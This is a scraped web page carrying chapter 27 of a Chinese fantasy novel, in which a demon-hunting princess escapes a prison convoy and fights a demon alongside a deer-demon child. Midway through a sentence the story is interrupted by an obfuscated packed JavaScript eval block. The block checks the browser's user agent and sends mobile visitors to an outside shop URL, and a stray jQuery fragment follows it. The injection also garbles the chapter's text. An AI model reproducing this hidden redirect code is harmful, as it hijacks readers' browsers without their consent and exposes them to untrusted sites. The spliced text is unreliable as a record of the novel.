文趣网 > 其他小说 > 逆臣长公主的捉妖日记 > 27.陈墨不沉默
    喻为央心头一紧,目光凝在小鹿妖身上。

    他直愣愣朝这边冲过来,嘴里还在高呼着:“坏东西!关着的都是坏东西,要打死!”

    稚嫩的童声格外清响,一下就抓住所有人的注意力。

    孟诠宇警觉起来,他也还记着孟献提到过小鹿妖,便吩咐身边卫兵道:“看着点那个小孩。”

    但这小鹿妖动作很快,手里不知拿着什么青色的东西,就一股脑朝喻为央砸过来。

    卫兵连忙高呼道:“这小孩子干什么?”

    说着就去拦他。

    但那团东西已经被喻为央抓住,那团柔软的布料里面掺了点发丝,带着点幽香。

    布料很干净,没有其他东西。

    虽然不知道用处为何,她飞速捻了几根发丝夹在指缝。

    接着,她皱眉把那团青色丢在地上,骂道:“没教养,拿垃圾砸女人算什么好汉?”

    那点发丝已经被她塞进了袖口。

    小鹿妖不甘示弱,大有冲上前打死她的架势:“砸的就是你!”

    人群愈发躁动,卫兵要上前将其拉开。

    被碰到胳膊瞬间,小鹿妖顿时哇哇大哭,挣开束缚又窜进人群。

    几个人接连被撞倒,嘈杂声直冲天灵盖。

    喻为央看着,不觉嘴角轻勾。

    跑的果真是快。

    前头的孟诠宇将一切收入眼底,眉头皱起,看了眼魏凛,他还是面无表情。

    于是转头对卫兵道:“把那小孩抓起来。”

    但下一刻,在他马儿脚边炸开一个烟雾弹,发出一道剧烈响声。

    卫兵惊叫道:“有人劫囚!”

    顿时蔓延开灰色的烟雾,升腾比人头顶还高,抬手几乎不见五指。

    嘈杂更甚。

    十几个蒙面黑衣人从高处屋檐落下,分工明确,几人先将周遭卫兵割喉,又有几人提刀直劈喻为央囚车。

    一点叫骂和惨叫入了喻为央的耳,她低头抬脚,扯了扯镣铐,发出点脆响。

    接着,囚车队伍横木就被劈碎。

    浓烟呛得喻为央咳了几下,接着抬眼一瞬差点给她吓个半死。

    一点刀剑的寒光几乎落在她脖子上,叫她手指都蜷起。

    但接着,束缚她双手脖颈的木枷就被劈碎,落了些木屑到她脚边。

    她出两口气,道:“别这么吓人。”

    她下意识就以为是来砍自己脑袋的了。

    蒙面人并没有答话,但喻为央感到脚上重量一松,那镣铐也给她打开了。

    有卫兵远远闻声察觉,高声喊道:“逆臣跑了!”

    事态紧急,现在不能问他们是谁的人,只能先逃。

    但他们好像没有理喻为央的意思,又去和其他卫兵厮杀在一起。

    喻为央无言,他们不是劫囚的吗,不对她负责吗?

    明明是这场行动里最重要的人,却被丢在了一边。

    脚踝处还发着疼,她忍着迈下了囚车。

    浓烟没有散,她得趁机赶紧离开。

    伸手解开了囚衣,脱下时又牵动左肩伤口,喻为央吸一口冷气。

    但没时间再理。

    她把囚衣随手丢了,只着一件染血的白色里衣。

    雾若是散了,她定然很显眼。

    毕竟只着里衣上街。男人不会,女人更不会……

    成为焦点她只会更快被捕。

    喻为央快步混进人群,思考去哪顺手牵羊一件外衣,却吓得人连连惊叫。

    “女流氓!”

    “她不穿衣服啊啊啊!”

    ……

    她对这些倒没那么在意,只是引起这点反应不太妙。

    喻为央脚下又快了些,拐进了一条小巷,忽然被人一并抓住无名指和小拇指。

    温热触感惊得她抽手回身劈去,却在看清来人时,硬生生把手刹在空中。

    是那只小鹿妖。

    他一双眼大而亮,望着喻为央,把一件青色衣服递到了她手里。

    喻为央一惊。

    那是他妖力化的衣物。

    她也不理解他怎么还在这里。

    她低声道:“回去吧,这里乱。”

    毕竟是个小孩子,刚刚给他丢东西还被孟诠宇注意到了。

    小鹿妖还是坚持把衣物塞喻为央胳膊,道:“栖姐姐叫我来的,跟我去密道出城。”

    喻为央打量他,袖里的发丝似乎扎的腕心有些痒。

    鬼使神差一般,她道:“行。”

    她把那件青衣披在身上,脑子起了个荒唐的念头:妖其实也不是那么坏。

    喻为央觉得自己疯了,或者是脑子坏掉了。

    她跟着那小鹿妖走了几步,又绕过几条巷子,已经没有什么人影。

    喻为央手暗暗掐紧了衣物的袖子,却见小鹿妖扭头。

    他道:“别掐,痛。”

    喻为央一征,松去手上力道,问:“你和自己妖力共感?”

    不然自己掐衣服他喊什么疼,又没掐他。

    小鹿妖不答,道:“你没有法术?”

    那点肯定的语气刺得喻为央心头一疼。

    她放冷声音道:“怎么?不服?”

    小鹿妖微翻白眼,道:“不服,你都没带法器。”

    喻为央想弄他。

    她双拳紧攥着,咬牙切齿道:“你是真的想死。”

    要不是这小鹿妖的衣物还在她身上,她这拳头已经呼上去了。

    小鹿妖回过头,只露出冷硬后脑壳,道:“没有法术的捉妖师,我还是头一回见,真不知道你怎么坚持的。”

    这小东西还真是刻薄。

    喻为央咬住了唇,一时竟然不知道说什么。

    这个问题,揪得她心脏疼。

    她不想再说这个,冷声道:“他俩还好?那群黑衣人是他们的?”

    说的是孟献兄妹,小鹿妖一下领会到。

    他道:“好得很,这些人我不认识。”

    既然不是那两兄妹的,便可能是先前字条里面提到的,应当是提前行动了。

    小鹿妖又转过头来看喻为央,神色疑惑:“他们为什么救你?我看你不像会放过妖的样子。”

    他问的也是孟献兄妹。

    ……

    这个问题喻为央没有思考过,她也答不出来。

    于是她岔开话题道:“你叫什么?”

    小鹿妖睨她一眼,回过头去:“我没叫,耳朵有问题?”

    她皱眉,“我说名字,脑子有问题?”

    ……

    寂了一阵,他声音终于清和了点,道:“陈墨。”

    名字和人倒是一点也不搭。

    喻为央道:“你一只妖,作为异类,反倒受帝王法令庇护活着,什么感受?”

    她从前观察妖,从不会过问这些,如今她是真的好奇。

    她的好兄长为他们追杀自己,对他们护着、宠着。

    本应得到此般宠爱的,是她吧?

    陈墨道:“我不曾作恶,为什么不能理所应当生活在这里?这里是我的家。”

    喻为央哑然。

    他继续道:“我们除了妖这个身份,和人还有什么不同吗?皇上的法令不是很好?”

    两人走出去很大一段路,距离不觉近了些,逐渐并肩。

    喻为央问:“百

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17652655|204350||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    姓和他看法又不一样,常人难道会待见你?”

    他道:“常人又会待见你?”

    他瞪着眼,语气又锋利起来。

    喻为央也抬高语调,道:“和你没关系。”

    陈墨却道:“那你问什么?”

    喻为央咬牙道:“我好奇。”

    其实她没说,那也是一点不甘心。

    法令颁布前,捉妖师一职万人景仰。

    如今却销声匿迹。妖邪当众闹事反倒不在少数。

    为什么安心活着的是他们妖?

    想到这里时,四下翻涌起强大的妖力,正是昨夜操纵孟南栖那股,定然是孟诠宇追来了。

    喻为央暗道不好,推陈墨一把,道:“快走,冲我来的。”

    陈墨也感受到压制性的同类气息,血液翻腾,力气都卸了几分,被喻为央推得踉跄了两步。

    他没有跑,朝那个方向看过去。

    孟诠宇只身一人站在巷口,袖口暗纹随动作漾开点釉光。

    “捉妖师还有闲心关心一只妖的生活?”

    他嘴角扯了一个讥讽笑容,道:“不如关心下,等下见到自己皇兄怎么样?”

    陈墨抿唇咬住,拉了喻为央手就要跑。

    从孟诠宇身后飞来一把妖力凝结的刀,刺在陈墨手背,炸开点血液。

    他吃痛松开喻为央的手,恐惧喘气。

    面对高等妖的恐惧叫他牙齿打颤。

    喻为央伸手脱下青色外衣,道:“化剑。”

    陈墨讶异一瞬,而后捏拳,抬手一指,喻为央手里的衣物就成了一柄微泛青光的剑。

    她道:“走。”

    下一刻,那柄剑就刺向孟诠宇喉咙。

    两柄剑相碰撞,发出刺耳声音,喻为央手震得疼。

    下一剑,她转腕,朝孟诠宇眼睛刺去。

    陈墨在一边,也抬手再次凝了别的妖力。

    那点妖力藤蔓一般,往前疯长,要缠住孟诠宇手脚。

    孟诠宇挡过喻为央一剑,转守为攻,直刺她左肩。

    他讥道:“妖力凝结的剑,用得好顺手。”

    喻为央咬牙挡下,道:“又不是第一回。”

    毕竟,都和他好儿子呆一块了。

    那点绿色藤蔓还没有碰到孟诠宇,就再次被妖刀攻击,直接削断。

    接着,那纯色利刃化作了一只巨手,扼住了陈墨脖子,将他提起。

    他被掐得窒息,面色发红,扭动四肢挣扎,抬手再凝妖力却被压下。

    孟诠宇又挡下喻为央一剑,吩咐那妖力道:“叫他说出谁喊他来递东西。”

    话落喻为央心头一紧,那妖能操纵其他妖,陈墨肯定会被迫说出孟献名字。

    后果不言而喻。

    她扭剑朝左臂一割,剑上瞬间沾满她的血。

    孟诠宇愣神一瞬,不懂她在做什么。

    下一刻,喻为央转剑去砍束缚陈墨脖颈的那道妖力。

    瞬间炸开点亮光,周围浮开点攻击波。

    喻为央被气流震退两步,撤步稳住身形。

    那只妖力凝结的手不在原地,它化作了一个长发及腰,着雪白长衣女子。

    身形格外板直,比寻常女人肩宽不少。

    她掐着陈墨举到半空,背对他们,纹丝不动。

    陈墨面色涨红,咬着唇,手指抽搐发抖,喉咙里发出点咕噜声,似乎下一刻就要吐出那个名字。

    喻为央直吸冷气,整条左手泛着灼热痛感。

    她的血,对那妖真的一点用没有。

    视线又落在那只妖身上,喻为央看见,她掐着陈墨的手,并非人类,而像,属于木质。